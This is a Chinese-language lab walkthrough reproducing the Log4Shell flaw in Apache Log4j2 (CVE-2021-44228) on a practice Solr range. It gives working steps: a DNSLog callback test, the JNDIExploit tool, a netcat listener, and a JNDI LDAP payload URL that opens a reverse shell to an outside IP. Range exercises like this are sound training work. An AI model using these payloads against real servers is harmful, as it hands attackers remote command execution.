# 在线靶场
可以通过访问极核官方靶场开启靶机实验:极核靶场 -> 漏洞复现靶场 -> Log4j2-RCE
原文: 【靶机实战】Apache Log4j2命令执行漏洞复现 - 极核GetShell (get-shell.com)
# 简介
Apache Log4j2 是一个广泛使用的 Java 日志记录库,它允许开发者将日志信息输出到不同的目的地。2021年12月,一个严重的漏洞(CVE-2021-44228)被发现,这个漏洞允许攻击者通过构造特定的输入,利用 Log4j2 的 JNDI(Java Naming and Directory Interface)功能,远程执行任意代码。这意味着如果应用程序使用了受影响版本的 Log4j2,并且允许用户控制日志输入,攻击者就可以通过发送恶意的日志请求,执行服务器上的任意命令,从而获得对服务器的控制,这个漏洞被称为 "Log4Shell"。
# 漏洞复现
打开打开靶场首页,是Solr 8.110的系统,这个系统的版本存在Log4j2的漏洞。

我们使用DNSLOG平台:www.dnslog.cn,点击Get SubDomain,获得一个临时域名,生成备用。

然后访问Solr靶场,访问:http://domain/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com}
,将example.com替换为dnslog生成的域名,例如:http://node.hackhub.get-shell.com:52003/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.j9oi8g.dnslog.cn}
,然后进行访问,Solr出现这样的界面。

查看DNSLog平台,点击Refresh Record,发现出现了访问记录,这是服务端发起了请求,说明此处存在JDNI注入

利用JNDI注入工具:【JNDI注入利用工具】JNDIExploit进行注入,在一个拥有公网IP 的服务器上运行此工具(建议使用JDK8 ),命令:java -jar JNDIExploit-1.3-SNAPSHOT.jar -i <出口IP>

然后再此服务器上使用NC开启监听12345端口 ,命令:nc -lvvp 12345

回到Solr靶场,利用JNDI注入工具的反弹Shell功能,访问URL:http://domian/solr/admin/cores?action=${jndi:ldap://<JNDI服务端IP>:1389/Basic/ReverseShell/<nc监听的IP>/<nc监听的端口>}
,例如:http://node.hackhub.get-shell.com:52003/solr/admin/cores?action=${jndi:ldap://43.129.200.87:1389/Basic/ReverseShell/43.129.200.87/12345}

然后查看NC监听机,发现Shell已经成功反弹过来了,这时候已经完全控制了服务端,可以随意执行命令了。
